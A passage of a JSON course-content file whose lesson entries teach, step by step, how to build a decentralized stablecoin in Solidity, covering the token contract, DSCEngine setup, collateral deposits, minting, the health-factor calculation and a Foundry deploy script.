DecentralizedStableCoin__BurnAmountExceedsBalance();\n }\n super.burn(_amount);\n }\n\n function mint(address _to, uint256 _amount) external onlyOwner returns (bool) {\n if (_to == address(0)) {\n revert DecentralizedStableCoin__NotZeroAddress();\n }\n if (_amount <= 0) {\n revert DecentralizedStableCoin__AmountMustBeMoreThanZero();\n }\n _mint(_to, _amount);\n return true;\n }\n}\n```\n\nThat's it! We've now sown the seeds of creating a stablecoin.\n\nIt's always a good practice to keep updating and checking your code as you progress. You can run `forge build` to compile the contract and check for any issues or errors. In a little bit, we'll be writing tests and a deploy script.\n\n## Wrapping it up\n\nVoila! With that, we've built the basis our own stablecoin that with be pegged to the US dollar, fully decentralized, and powered by exogenous crypto-assets Ethereum and Bitcoin.\n\nStarting a DeFi project such as this raises numerous possibilities in the world of cryptocurrencies and blockchain technologies. The tools and technologies available to developers today, like Solidity and OpenZeppelin, are making it easier than ever to get started in this exciting field. So whether you are a beginner or a pro-developer, the landscape of stablecoins offers an intriguing opportunity for everyone.\n\nHappy coding!\n", + "updates": [] + }, + { + "id": "139d8d5e-5fa9-4982-b591-6e4bd3f67fc5", + "number": 5, + "title": "Project setup - DSCEngine ", + "slug": "defi-dscengine-setup", + "folderName": "5-defi-dscengine-setup", + "description": "Learn about setting up the DSCEngine project in DeFi, including configuration, development practices, and key components of the engine.", + "duration": 11, + "videoUrl": "zEuF1_OC1Jk", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/5-defi-dscengine-setup/+page.md", + "markdownContent": "---\ntitle: DSCEngine.sol Setup\n---\n\n_Follow along the course with this video._\n\n\n\n# Building a Decentralized Stablecoin Engine\n\nBuilding a stablecoin engine is not for the faint-hearted. But with the right tools and a dash of code fluency, you too can do it. If you're at this stage and feel a sense of achievement, clap yourself on the back! Alternatively, pause this and try your hand at crafting your own tests and deploy scripts. But don't get too comfortable just yet; we're only getting started.\n\nWe'll approach this project a bit differently from the ones people are used to. We won't shy away from doing some tests along the way to ensure we're on the right course. Let's get right into it and create an engine for our decentralized stablecoin (DSC) system.\n\n### Creating the DSC Engine\n\nStart by creating a new file `DSCEngine.sol`. This will serve as our centralized stablecoin engine. Now, launch right into building the engine.\n\nNext, copy and paste this beginning part into the engine to lay the groundwork for our contract. We have our SPDX statement, layout of contracts, pragma solidity etc:\n\n```javascript\n// Layout of Contract:\n// version\n// imports\n// errors\n// interfaces, libraries, contracts\n// Type declarations\n// State variables\n// Events\n// Modifiers\n// Functions\n\n// Layout of Functions:\n// constructor\n// receive function (if exists)\n// fallback function (if exists)\n// external\n// public\n// internal\n// private\n// internal & private view & pure functions\n// external & public view & pure functions\n\n//SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.18;\n\ncontract DSCEngine{\n //engine body\n}\n```\n\nLet's not forget to include a lot of Nat spec to our contract body. More detailed information in our code makes it easier for people to understand - think of it as making notations in a book that hundreds of people will read.\n\n```javascript\n/*\n * @title DSCEngine\n * @author Patrick Collins\n *\n * The system is designed to be as minimal as possible, and have the tokens maintain a 1 token == $1 peg at all times.\n * This is a stablecoin with the properties:\n * - Exogenously Collateralized\n * - Dollar Pegged\n * - Algorithmically Stable\n *\n * It is similar to DAI if DAI had no governance, no fees, and was backed by only WETH and WBTC.\n *\n * @notice This contract is the core of the Decentralized Stablecoin system. It handles all the logic\n * for minting and redeeming DSC, as well as depositing and withdrawing collateral.\n * @notice This contract is based on the MakerDAO DSS system\n */\n```\n\n\n\nThe DSC system's role is to retain tokens at a one token-equals-$1 peg. It bears similar features to DAI in terms of being a stablecoin. Still, it operates without governance, fees, and runs only on wrapped ETH and wrapped Bitcoin.\n\n### Core Functions of the DSC Engine\n\nWith our contract body in place, it's time to think about the core functions of our project. What actions should our system facilitate?\n\nFirstly, our system should be able to deposit collateral and mint DSC tokens. This action allows users to deposit either their DAI or Bitcoin to generate our stablecoin.\n\nSecondly, the system should also facilitate the redemption of collateral or DSC. Once users have finished using our stablecoin, they should be able to exchange it back for the collateral they used initially.\n\nAnother critical function is the ability to burn DSC. This functionality matters when a user fears having too much stablecoin and very little collateral. It provides a quick way to get more collateral than DSC, thus maintaining the balance within the system. Accordingly, our DSC system should always have more collateral than DSC.\n\nWe also need a liquidation function. Its importance comes into play when the price of a user's collateral falls too much. For example, if a user deposits collateral worth $100 and uses it to mint $50 worth of DSC, if the ETH price drops to $40, the collateral is less than DSC - a scenario we mustn't let happen. In such a case, the user should be liquidated and knocked off the system.\n\nThe fifth core function is the `healthFactor`. This external view function, `getHealthFactor`, allows us to see how healthy a particular user's portfolio is.\n\nLastly, we will need functions for `depositCollateral`, `redeemCollateral`, and `mintDSC`.\n\n```javascript\n // Functions we'll need\n function depositCollateralAndMintDSC() external {};\n function depositCollateral() external {};\n function redeemCollateralForDSC() external {};\n function redeemCollateral() external {};\n function mintDSC() external {};\n function burnDSC() external {};\n function liquidate() external {};\n function getHealthFactor() external view {};\n```\n\n### Testing as You Build\n\nTesting as we go on ensures that we're on the right track. Consider writing tests describing what each function should do to the system.\n\nIn conclusion, we've successfully begun constructing the engine for the Decentralized Stablecoin (DSC) system. It might feel overwhelming, but with diligence, testing, and code readability, we're off to a good start.\n\nWe'll be looking at tests and a deploy script next as well as additionial functions to improve our DSC System.\n\n\n\nHappy coding!\n", + "updates": [] + }, + { + "id": "430a6668-1bb7-4b24-8593-7df423fe2681", + "number": 6, + "title": "Create the deposit collateral function", + "slug": "defi-deposit-collateral", + "folderName": "6-defi-deposit-collateral", + "description": "This lesson covers the process of creating a function to deposit collateral in a DeFi project, highlighting key aspects of its implementation.", + "duration": 19, + "videoUrl": "JEN9PAgwTOo", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/6-defi-deposit-collateral/+page.md", + "markdownContent": "---\ntitle: Deposit Collateral\n---\n\n_Follow along the course with this video._\n\n\n\n# The Easiest Way to Learn Blockchain: Start with Depositing\n\nIn this section, I'm going to dive into the one place it's easiest to start when creating a blockchain protocol: Depositing collateral. After all, that's likely the first thing users will do with this protocol.\n\n## Depositing Collateral\n\nTo start, we'll need code that allows users to deposit their collateral. Something like:\n\n```js\nfunction depositCollateral(address tokenCollateralAddress, uint256 amountCollateral) external {...}\n```\n\nFrom here, we have a good starting point for explaining what's likely to happen in this function.\n\nLet's add a Natspec (Natural Specification) comment to help clarify what’s happening in the code.\n\n```js\n/*\n * @param tokenCollateralAddress: The address of the token to be deposited as collateral.\n * @param amountCollateral: The amount of collateral to deposit.\n */\n```\n\n## Code Sanitization\n\nWe'll want a way to ensure amountCollateral is more than zero, in order to prevent potential issues down the line with zero-valued transactions.\n\nTo do this, we can create a **modifier** called `moreThanZero`. Remember to reference our contract layout if you forget where things should go:\n\n```js\n// Layout of Contract:\n// Version\n// Imports\n// Errors\n// Interfaces, Libraries, Contracts\n// Type Declarations\n// State Variables\n// Events\n// Modifiers\n// Functions\n```\n\nOur modifier should look something like this:\n\n```js\nmodifier moreThanZero(uint256 amount) {\n if (amount == 0) {\n revert DSCEngine__NeedsMoreThanZero();\n }\n _;\n}\n```\n\n_Modifiers_ are used to change the behavior of functions in a declarative way. In this case, using a modifier for `moreThanZero` will allow its reuse throughout the functions.\n\n```js\nfunction depositCollateral(address tokenCollateralAddress, uint256 amountCollateral) external moreThanZero(amountCollateral) {...}\n```\n\nIf the amount deposited is zero, the function will revert and cancel the transaction, saving potential errors or wasted transactions.\n\n## Allow and Deny Tokens\n\nAnother thing we'll need is a restriction on what tokens can be used as collateral. So let's create a new modifier called `isAllowedToken`.\n\n```js\nmodifier isAllowedToken(address token) {\n if (tokenNotallowed){...};\n}\n```\n\nCurrently we have no 'token allow list', so we're going to handle this with a state mapping of addresses to addresses, which we provide in our contract's constructor. We know as well that our 'DSCEngine is going to need the `burn` and `mint` functions of our DSC contract, so we'll provide that address here as well:\n\n```js\ncontract DSCEngine {\n error DSCEngine__TokenAddressesAndPriceFeedAddressesAmountsDontMatch();\n ...\n DecentralizedStableCoin private i_dsc;\n mapping(address collateralToken => address priceFeed) private s_priceFeeds;\n ...\n constructor(address[] memory tokenAddresses, address[] memory priceFeedAddresses, address dscAddress){\n if (tokenAddresses.length != priceFeedAddresses.length) {\n revert DSCEngine__TokenAddressesAndPriceFeedAddressesAmountsDontMatch();\n }\n // These feeds will be the USD pairs\n // For example ETH / USD or MKR / USD\n for (uint256 i = 0; i < tokenAddresses.length; i++) {\n s_priceFeeds[tokenAddresses[i]] = priceFeedAddresses[i];\n s_collateralTokens.push(tokenAddresses[i]);\n }\n i_dsc = DecentralizedStableCoin(dscAddress);\n }\n}\n```\n\nFinally, after all this prep, we can return to our modifier to complete it:\n\n```js\nmodifier isAllowedToken(address token){\n if (s_priceFeeds[token] == address(0)){\n revert DSCEngine__NotAllowedToken();\n }\n _;\n}\n```\n\nHere, function calls with this modifier will only be valid if the inputted token address is on an allowed list.\n\n## Saving User Collateral Deposits\n\nFinally, we get to the heart of the deposit collateral function.\n\nWe need a way to save the user's deposited collateral. This is where we come to ‘_state variables_’:\n\n```js\nmapping(address user => mapping(address collateralToken => uint256 amount)) private s_collateralDeposited;;\n```\n\nThis is a mapping within a mapping. It connects the user's balance to a mapping of tokens, which maps to the amount of each token they have.\n\nWith this, we have developed a good foundation for our deposit collateral function.\n\n## Safety Precautions\n\nEven though we've added quite a bit already, there's still more that can be done to ensure this function is as safe as possible. One way is by adding the `nonReentrant` modifier, which guards against the most common attacks in all of Web3.\n\n```js\nimport \"@openzeppelin/contracts/security/ReentrancyGuard.sol\";\n...\n function depositCollateral(address tokenCollateralAddress, uint256 amountCollateral) external moreThanZero(amountCollateral) isAllowedToken(tokenCollateralAddress) nonReentrant {\n s_collateralDeposited[msg.sender][tokenCollateralAddress] += amountCollateral;\n emit CollateralDeposited(msg.sender, tokenCollateralAddress, amountCollateral);\n bool success = IERC20(tokenCollateralAddress).transferFrom(msg.sender, address(this), amountCollateral);\n if (!success) {\n revert DSCEngine__TransferFailed();\n }\n}\n```\n\n## Wrapping It Up\n\nIn conclusion, through this section, we have built an efficient deposit collateral function.\n\nAll the checks, such as ensuring the deposit is more than zero and the token is allowed, are done effectively. The state updates with the deposited collateral. Any interactions externally are safe from reentrancy attacks, ensuring a secure environment for our deposit function.\n\nAs seen above, to end the function, the function will emit a `CollateralDeposited` event.\n\n```js\nemit CollateralDeposited(msg.sender, tokenCollateralAddress, amountCollateral);\n```\n\nThis will give us more information about when and where the deposit function is called, which aids in debugging and development of the blockchain.\n\nRemember, learning about the functioning of blockchain can be a bit intimidating. But by breaking down the different steps and understanding each process, you'll begin to see it's not as complicated as it may first seem. Happy coding!\n\n\n", + "updates": [] + }, + { + "id": "3ce5a367-ce44-43f8-93e7-8a0028a5d16d", + "number": 7, + "title": "Creating the mint function", + "slug": "defi-mint-dsc", + "folderName": "7-defi-mint-dsc", + "description": "Explore the intricacies of creating a mint function in DeFi, focusing on its role, functionality, and integration within the DeFi ecosystem.", + "duration": 17, + "videoUrl": "EYbfRFAsGJg", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/7-defi-mint-dsc/+page.md", + "markdownContent": "---\ntitle: Mint DSC\n---\n\n_Follow along the course with this video._\n\n\n\n# Building a Mechanism for Minting Decentralized StableCoin\n\nIn our exciting journey to developing a decentralized finance system, we have reached the point where we are now able to deposit collateral into our system. Now that we have successfully done this, the next logical step is for us to develop a function for minting our Decentralized StableCoin (DSC).\n\nThe minting function, by its nature, is substantially more complex than the deposit feature. It involves, among other things, checking if the collateral value is greater than the amount of DSC to be minted. This function must also take into consideration price feeds and other essential checks. Therefore, its implementation will be our primary focus in this lesson.\n\n## Creating the Mint DSC Function\n\nWe start by creating the `mintDsc` function, which accepts as its parameter a unsigned integer256, `amountDscToMint`. The parameter allows users to specify the amount of DSC they want to mint.\n\nLet's look at an illustrative scenario: A user deposits $200 worth of ETH as collateral. They may however only want to mint $20 worth of DSC. In this case, they can specify so using the `amountDSCtoMint` parameter.\n\n```javascript\nfunction mintDsc(unint256 amountDscToMint){}\n```\n\nNow we add checks to validate the functionality. It becomes mandatory to ensure that the users mint an amount greater than zero. Also, the function should be non-reentrant to ensure security and maintain control of function calls against the recursion, although in this case, non-reentrancy might not be strictly necessary as it's our DSC token. Don't forget NatSpec!\n\n```javascript\n /*\n * @param amountDscToMint: The amount of DSC you want to mint\n * You can only mint DSC if you hav enough collateral\n */\n function mintDsc(uint256 amountDscToMint) public moreThanZero(amountDscToMint) nonReentrant {}\n```\n\n## Keeping Track of the Minted DSC\n\nThe minting process corresponds to creating debt within our system. Therefore, we will require to keep track of each user's minted DSC.\n\nA suitable way of achieving this is by creating a state variable to map an `address user` to the `uint256 amountDSCMinted`. This can be achieved as follows:\n\n```javascript\nmapping(address user => uint256 amountDscMinted) private s_DSCMinted;\n```\n\nOur newly created mapping, `s_DSCMinted`, will ensure we keep track of all the minted DSC. If, for instance, a user tries to mint more DSC than their deposited collateral can cover, our function should instantly revert. We will ensure this via a separate internal function named `revertIfHealthFactorIsBroken` that takes user as the input parameter.\n\n## Addressing the Health Factor & Account Information\n\nThis is where it gets a bit windy. The health factor is a term borrowed from the Aave documentation, which calculates how close to liquidation a user is. We can determine the ratio of collateral to DSC minted using a function called `getAccountInformation`.\n\n```javascript\n function _getAccountInformation(address user)\n private\n view\n returns (uint256 totalDscMinted, uint256 collateralValueInUsd)\n {\n totalDscMinted = s_DSCMinted[user];\n collateralValueInUsd = getAccountCollateralValue(user);\n }\n```\n\nTo check the health factor, we need to ensure the user's collateral value is greater than the DSC minted in USD. Consequently, we need yet another function, `getAccountCollateralValue`, to evaluate the collateral's total value.\n\n```javascript\n function getAccountCollateralValue(address user) public view returns (uint256 totalCollateralValueInUsd) {\n for (uint256 index = 0; index < s_collateralTokens.length; index++) {\n address token = s_collateralTokens[index];\n uint256 amount = s_collateralDeposited[user][token];\n totalCollateralValueInUsd += _getUsdValue(token, amount);\n }\n return totalCollateralValueInUsd;\n }\n```\n\nThe `getAccountInformation` and `getAccountCollateralValue` functions are quite straightforward, but the real challenge is evaluating the USD value.\n\n## Evaluating the USD Value\n\nTo get the USD value, we loop through each collateral token, fetch the corresponding deposited amount, and map it to its price in USD. Simple enough, right? This is accomplished by this `for loop`:\n\n```javascript\n for (uint256 index = 0; index < s_collateralTokens.length; index++) {\n address token = s_collateralTokens[index];\n uint256 amount = s_collateralDeposited[user][token];\n totalCollateralValueInUsd += _getUsdValue(token, amount);\n }\n```\n\nFinally, we need a way to get each token's value in USD to be added to the account's total collateral. How do we do that? You guessed it, another function `_getUsdValue`. We'll be leveraging Chainlink price feeds for our purposes.\n\n```javascript\n function _getUsdValue(address token, uint256 amount) private view returns (uint256) {\n AggregatorV3Interface priceFeed = AggregatorV3Interface(s_priceFeeds[token]);\n (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();\n // 1 ETH = 1000 USD\n // The returned value from Chainlink will be 1000 * 1e8\n // Most USD pairs have 8 decimals, so we will just pretend they all do\n // We want to have everything in terms of WEI, so we add 10 zeros at the end\n return ((uint256(price) * ADDITIONAL_FEED_PRECISION) * amount) / PRECISION;\n }\n```\n\n## Wrapping Up\n\nWow, we've learnt a lot! This section was dense and complex, so don't hesitate to go back over what we've done here and really commit to understanding the workflow. In the next part we'll be learning about an account's `Health Factor` and how we use it grade a user's account health and available collateral.\n\n\n", + "updates": [] + }, + { + "id": "e759be52-1320-4d27-b21f-5c6bb152c3b9", + "number": 8, + "title": "Creating and retrieving the health factor", + "slug": "defi-health-factor", + "folderName": "8-defi-health-factor", + "description": "Delve into the concept of 'Health Factor' in DeFi protocols, its calculation, significance, and impact on the stability and risk management of DeFi projects.", + "duration": 7, + "videoUrl": "jQNNph-x-18", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/8-defi-health-factor/+page.md", + "markdownContent": "---\ntitle: Health Factor\n---\n\n_Follow along the course with this video._\n\n\n\n# Upgrading the Health Factor Function of a DeFi Platform\n\nIn our previous discussions, we have looked at creating and integrating various parts needed for a _Decentralized Finance (DeFi)_ platform. Now, it's time to take a deeper dive into one of its critical components – the _Health Factor_.\n\nSo, let's get started!\n\n![](https://cdn.videotap.com/7XaXzANzYumN0wCD3MU5-19.89.png)\n\n## Working with The Health Factor\n\nThe health factor function presented a challenge as it was initially designed not to accomplish anything. However, we can now modify it as we have successfully integrated the Health Factor into our system. Here's what it should look like:\n\n```\nfunction updateHealthFactor() public {// function body}\n```\n\nNow that we have the _collateral value in USD_ and the _total USD minted_, our health factor can be retrieved by dividing the collateral value by the total amount minted. This would likely look something like this:\n\n```javascript\nreturn collateralValueInUSD / totalUSDMinted;\n```\n\n...if we didn't wan't to remain overcollateralized.\n\n## Understanding Overcollateralization\n\nIt is important to understand that we need to always maintain an overcollateralized state. The reason being, if the collateral value falls below 100, then our system becomes compromised. To prevent this, we should set a threshold.\n\nThis leads us to introduce the _liquidation threshold_, which can be created at the top. We add:\n\n```javascript\nuint256 private constant LIQUIDATION_THRESHOLD = 50; //200% overcollateralized\n```\n\nThis means for your collateral to be safe, it needs to maintain 200% overcollateralization.\n\n\n\nTo get our health factor, we will not directly divide the collateral value and the total amount minted. Solidity does not handle decimals, so dividing small amounts may return just 1, eliminating our desired precision.\n\n## Handling Precision\n\nTo ensure precision in the calculations, we need to adjust the collateral given the threshold.\n\n```javascript\nuint256 collateralAdjustedForThreshold = (collateralValueInUsd * LIQUIDATION_THRESHOLD) / 100;\n```\n\nHere, the constant `liquidationThreshold` multiplies our collateral value, making our value bigger, hence the need to divide by 100 to ensure no floating numbers.\n\n## The Math Explained\n\nAt this point, the math may seem a bit tricky. Let’s illustrate this with two examples:\n\n1. If we have $1,000 worth of ETH and 100 DSC, the math would go as such:\n\n```javascript\n1000 (collateral in ETH) * 50 (liquidation threshold), divided by100 (liquidation precision) = 500 (collateralAdjustedForThreshold)\n```\n\n2. For $150 worth of ETH and $100 minted DSC:\n\n```javascript\n150 (collateral in ETH) * 50 (liquidation threshold), divided by100 (liquidation precision) = 75 (collateralAdjustedForThreshold)\n```\n\nTo find the correct health factor, let's divide the `collateralAdjustedForThreshold` by the `totalDscMinted`.\n\n```javascript\n function _healthFactor(address user) private view returns (uint256) {\n (uint256 totalDscMinted, uint256 collateralValueInUsd) = _getAccountInformation(user);\n return _calculateHealthFactor(totalDscMinted, collateralValueInUsd);\n }\n\n function _calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)\n internal\n pure\n returns (uint256)\n {\n if (totalDscMinted == 0) return type(uint256).max;\n uint256 collateralAdjustedForThreshold = (collateralValueInUsd * LIQUIDATION_THRESHOLD) / 100;\n return (collateralAdjustedForThreshold * 1e18) / totalDscMinted;\n }\n```\n\n## Rounding Up\n\nOnce we sector in the health factor, we can now successfully execute the function `revertIfHealthFactorIsBroken` in our `mintDsc` function.\n\n```javascript\n function mintDsc(uint256 amountDscToMint) public moreThanZero(amountDscToMint) nonReentrant {\n s_DSCMinted[msg.sender] += amountDscToMint;\n revertIfHealthFactorIsBroken(msg.sender);\n bool minted = i_dsc.mint(msg.sender, amountDscToMint);\n\n if (minted != true) {\n revert DSCEngine__MintFailed();\n }\n }\n```\n\nWith `MIN_HEALTH_FACTOR` being defined as 1:\n\n```javascript\n function revertIfHealthFactorIsBroken(address user) internal view {\n uint256 userHealthFactor = _healthFactor(user);\n if (userHealthFactor < MIN_HEALTH_FACTOR) {\n revert DSCEngine__BreaksHealthFactor(userHealthFactor);\n }\n }\n```\n\nIf the User's health factor is less than the minimum health factor, the function will revert, preventing any issues with the health factor.\n\nThis is a lot of math, but hopefully, it gives you a glimpse into the complexity of designing a robust DeFi platform. If any part of this discussion was unclear, please do not hesitate to reach out in the comments or run it with your AI to ensure it makes sense.\n\n## That's a wrap!\n\nAnd there we go! We've successfully upgraded our health factor function, ensuring absolute clarity and precision in the numbers. Remember, success in DeFi comes down to robust code and a precise understanding of the algorithms backing it up. Happy coding!\n", + "updates": [] + }, + { + "id": "58cb46b8-ad9f-4236-9074-26baa608d5a6", + "number": 9, + "title": "Finish the mint function", + "slug": "defi-wrap-mint-function", + "folderName": "9-defi-minting-the-dsc", + "description": "Complete the development of the mint function in DeFi, focusing on optimizing functionality, ensuring security, and integrating with the overall system.", + "duration": 2, + "videoUrl": "vWKLAwRURQQ", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/9-defi-minting-the-dsc/+page.md", + "markdownContent": "---\ntitle: Minting the DSC\n---\n\n_Follow along the course with this video._\n\n\n\n# New Fascinating Additions to the Mint DSC - Creating a Healthier User Experience\n\nLet's dive right into the heart of the matter. We last left off exploring the updates on Mint DSC. Previously, we discussed the intricacies of the code and delved into how the DSC mint function operates within this codebase. In this post, we are going to understand this process in depth, throw light on the health factor, and discuss the possibility of self-liquidation by users. We will also guide you on how to prevent users from minting DSC that might break the health factor.\n\n## Adding More Mint DSC\n\n\n\nNotably, if any addition to this DSC causes a break in the health factor, we should retreat immediately. Why should we back off? Because it's not a very user-friendly experience. It could lead to users causing themselves to get liquidated. Technically, we could go forward and let users carry out the act. However, it would not reflect well on overall user experience. Consequently, it's crucial that we prevent any user from minting DSC that could potentiate the health factor break.\n\n## DSC Mint Function - The Owner's Prerogative\n\nThe intricacies of the DSC Minting function deserves close scrutiny. Interesting to note, that the DSC has a `mint function` that can be invoked solely by its owner. The owner of this function, in this case, is the DSC engine.\n\nObserve the following code block from `DecentralizedStableCoin.sol`:\n\n```javascript\n function mint(address _to, uint256 _amount) external onlyOwner returns (bool) {\n if (_to == address(0)) {\n revert DecentralizedStableCoin__NotZeroAddress();\n }\n if (_amount <= 0) {\n revert DecentralizedStableCoin__AmountMustBeMoreThanZero();\n }\n _mint(_to, _amount);\n return true;\n }\n```\n\nThrough the above code, we notice that it returns a boolean. This boolean value enables us to understand if the minting was successful or not.\n\nThis function accepts two arguments - `address _to` and `uint256 _amount`. The `address _to` parameter is going to be assigned to the message sender and the `_amount` parameter will represent the amount of DSC being minted.\n\n## Error Checks in the Minting Process\n\nSo what happens when the minting process fails? This possibility is taken care of in the following code snippet:\n\n```javascript\n function mintDsc(uint256 amountDscToMint) public moreThanZero(amountDscToMint) nonReentrant {\n s_DSCMinted[msg.sender] += amountDscToMint;\n revertIfHealthFactorIsBroken(msg.sender);\n bool minted = i_dsc.mint(msg.sender, amountDscToMint);\n\n if (minted != true) {\n revert DSCEngine__MintFailed();\n }\n }\n```\n\nIf the minting is not successful, signified by boolean value \"false\", the function reverts to an error. A new error title `DSCEngine__MintFailed()` is specified. Remember to create this error at the top of your script.\n\nIf the minting process fails, the function reverts to the error of `DSCEngine__MintFailed()`.\n\nRemember:\n\n\n\nIn conclusion, we have taken significant strides in enhancing the DSC and its related functions. These updates not only promote a healthier user experience but also prevent undesired system behaviors such as self-liquidation.\n\nDive into the code, brush up your knowledge, and let's continue exploring the ever-evolving world of coding together!\n", + "updates": [] + }, + { + "id": "69e2f5d9-446d-4996-873d-4d81dc757843", + "number": 10, + "title": "Creating the deployment script", + "slug": "defi-deploy-script", + "folderName": "10-defi-deploy-script", + "description": "Learn the process of creating a deploy script for DeFi projects, including setup, configuration, and deploying smart contracts to the blockchain.", + "duration": 15, + "videoUrl": "jwTreavu9Ig", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/10-defi-deploy-script/+page.md", + "markdownContent": "---\ntitle: Deploy Script\n---\n\n_Follow along the course with this video._\n\n\n\n# Testing and Deployment\n\nWe've done a lot, so far and it's getting really complex. Now's a great time to perform a sanity check and write some tests.\n\n## 1. The Importance of Testing\n\n_I have no idea if what I'm doing makes any sort of sense. I want to make sure I write some tests here._\n\nTesting is crucial to ensure that our code is functioning as intended. We can go ahead and create a new folder under 'test' named 'unit'. If you wish, you could skip writing the scripts and deploy in your unit tests. In our scenario, we'll have our unit tests also serve as our integration tests.\n\n## 2. Deploying DSC\n\nTo set the ball rolling, let's write a script to deploy our DSC. Here is a snippet of how this might look:\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\ncontract DeployDSC is Script {\n function run() external returns (DecentralizedStableCoin, DSCEngine, HelperConfig){\n //Code here\n }\n }\n```\n\nThe `run` function is going to return a few things such as the DSC and the DSCEngine. To import our DSC, we're going to use the following line of code:\n\n```javascript\nimport { DecentralizedStableCoin } from \"../src/DecentralizedStableCoin.sol\";\n```\n\nYour `run()` function may look something like this:\n\n```javascript\n function run() external returns (DecentralizedStableCoin, DSCEngine, HelperConfig) {\n HelperConfig helperConfig = new HelperConfig(); // This comes with our mocks!\n\n (address wethUsdPriceFeed, address wbtcUsdPriceFeed, address weth, address wbtc, uint256 deployerKey) =\n helperConfig.activeNetworkConfig();\n tokenAddresses = [weth, wbtc];\n priceFeedAddresses = [wethUsdPriceFeed, wbtcUsdPriceFeed];\n\n vm.startBroadcast(deployerKey);\n DecentralizedStableCoin dsc = new DecentralizedStableCoin();\n DSCEngine dscEngine = new DSCEngine(\n tokenAddresses,\n priceFeedAddresses,\n address(dsc)\n );\n```\n\nThe DSCEngine plays a critical role in our contract. However, deploying it involves a lot of parameters, making the task a bit complicated. It takes parameters such as `tokenAddresses`, `priceFeedAddresses`, and the DSC address.\n\nThe question then arises, where do we get these addresses from ?\n\nHere, a HelperConfig saves the day.\n\n## 4. HelperConfig\n\nThe HelperConfig will provide us with the addresses needed by the DSCEngine.\n\nHere is a little sneak-peek into the helper config file:\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {MockV3Aggregator} from \"../test/mocks/MockV3Aggregator.sol\";\nimport {Script} from \"forge-std/Script.sol\";\nimport {ERC20Mock} from \"@openzeppelin/contracts/mocks/ERC20Mock.sol\";\n\ncontract HelperConfig is Script {\n NetworkConfig public activeNetworkConfig;\n\n uint8 public constant DECIMALS = 8;\n int256 public constant ETH_USD_PRICE = 2000e8;\n int256 public constant BTC_USD_PRICE = 1000e8;\n\n struct NetworkConfig {\n address wethUsdPriceFeed;\n address wbtcUsdPriceFeed;\n address weth;\n address wbtc;\n uint256 deployerKey;\n }\n\n uint256 public DEFAULT_ANVIL_PRIVATE_KEY = 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80;\n\n constructor() {\n if (block.chainid == 11155111) {\n activeNetworkConfig = getSepoliaEthConfig();\n } else {\n activeNetworkConfig = getOrCreateAnvilEthConfig();\n }\n }\n```\n\nThe `getSepoliaEthConfig` function returns the network configuration for Sepolia:\n\n```javascript\nfunction getSepoliaEthConfig() public view returns (NetworkConfig memory sepoliaNetworkConfig) {\n sepoliaNetworkConfig = NetworkConfig({\n wethUsdPriceFeed: 0x694AA1769357215DE4FAC081bf1f309aDC325306, // ETH / USD\n wbtcUsdPriceFeed: 0x1b44F3514812d835EB1BDB0acB33d3fA3351Ee43,\n weth: 0xdd13E55209Fd76AfE204dBda4007C227904f0a81,\n wbtc: 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063,\n deployerKey: vm.envUint(\"PRIVATE_KEY\")\n });\n }\n```\n\nThe `getOrCreateAnvilEthConfig` function either returns the existing anvil configuration or creates a new one.\n\n```javascript\nfunction getOrCreateAnvilEthConfig() public returns (NetworkConfig memory anvilNetworkConfig) {\n // Check to see if we set an active network config\n if (activeNetworkConfig.wethUsdPriceFeed != address(0)) {\n return activeNetworkConfig;\n }\n\n vm.startBroadcast();\n MockV3Aggregator ethUsdPriceFeed = new MockV3Aggregator(\n DECIMALS,\n ETH_USD_PRICE\n );\n ERC20Mock wethMock = new ERC20Mock(\"WETH\", \"WETH\", msg.sender, 1000e8);\n\n MockV3Aggregator btcUsdPriceFeed = new MockV3Aggregator(\n DECIMALS,\n BTC_USD_PRICE\n );\n ERC20Mock wbtcMock = new ERC20Mock(\"WBTC\", \"WBTC\", msg.sender, 1000e8);\n vm.stopBroadcast();\n\n anvilNetworkConfig = NetworkConfig({\n wethUsdPriceFeed: address(ethUsdPriceFeed), // ETH / USD\n weth: address(wethMock),\n wbtcUsdPriceFeed: address(btcUsdPriceFeed),\n wbtc: address(wbtcMock),\n deployerKey: DEFAULT_ANVIL_PRIVATE_KEY\n });\n }\n```\n\n## 5. Final Steps\n\nWe're almost there. Having obtained the needed addresses from our HelperConfig, we can now return to our DeployDSC script. We can import HelperConfig like so:\n\n```javascript\nimport { HelperConfig } from \"./HelperConfig.s.sol\";\n```\n\nOnce imported, if we look back to our run function, we can see we pull the addresses from the `activeNetworkConfiguration` of our HelperConfig and then create the arrays for token addresses and price feeds.\n\n```javascript\n function run() external returns (DecentralizedStableCoin, DSCEngine, HelperConfig) {\n HelperConfig helperConfig = new HelperConfig(); // This comes with our mocks!\n\n (address wethUsdPriceFeed, address wbtcUsdPriceFeed, address weth, address wbtc, uint256 deployerKey) =\n helperConfig.activeNetworkConfig();\n tokenAddresses = [weth, wbtc];\n priceFeedAddresses = [wethUsdPriceFeed, wbtcUsdPriceFeed];\n\n vm.startBroadcast(deployerKey);\n DecentralizedStableCoin dsc = new DecentralizedStableCoin();\n DSCEngine dscEngine = new DSCEngine(\n tokenAddresses,\n priceFeedAddresses,\n address(dsc)\n );\n dsc.transferOwnership(address(dscEngine));\n vm.stopBroadcast();\n return (dsc, dscEngine, helperConfig);\n```\n\nWith our arrays in place, we're ready to deploy our DSCEngine. Our last step involves transferring ownership of the deployed contract to the DSCEngine, in this line:\n\n```javascript\ndsc.transferOwnership(address(engine));\n```\n\nOnly the engine can now interact with the DSC.\n\n## 6. Conclusion\n\nWow, we've covered a lot and we have so much more to go. In this section we set up a HelperConfig to assist us with assigning network and token addresses. We also wrote a deployment script which uses that HelperConfig to deploy our contract AND we assign ownership of that contract to our DSCEngine. Whew, take a break - you've earned it!\n", + "updates": [] + }, + { + "id": "1e420664-a74f-4b4c-b057-af62356da282", + "number": 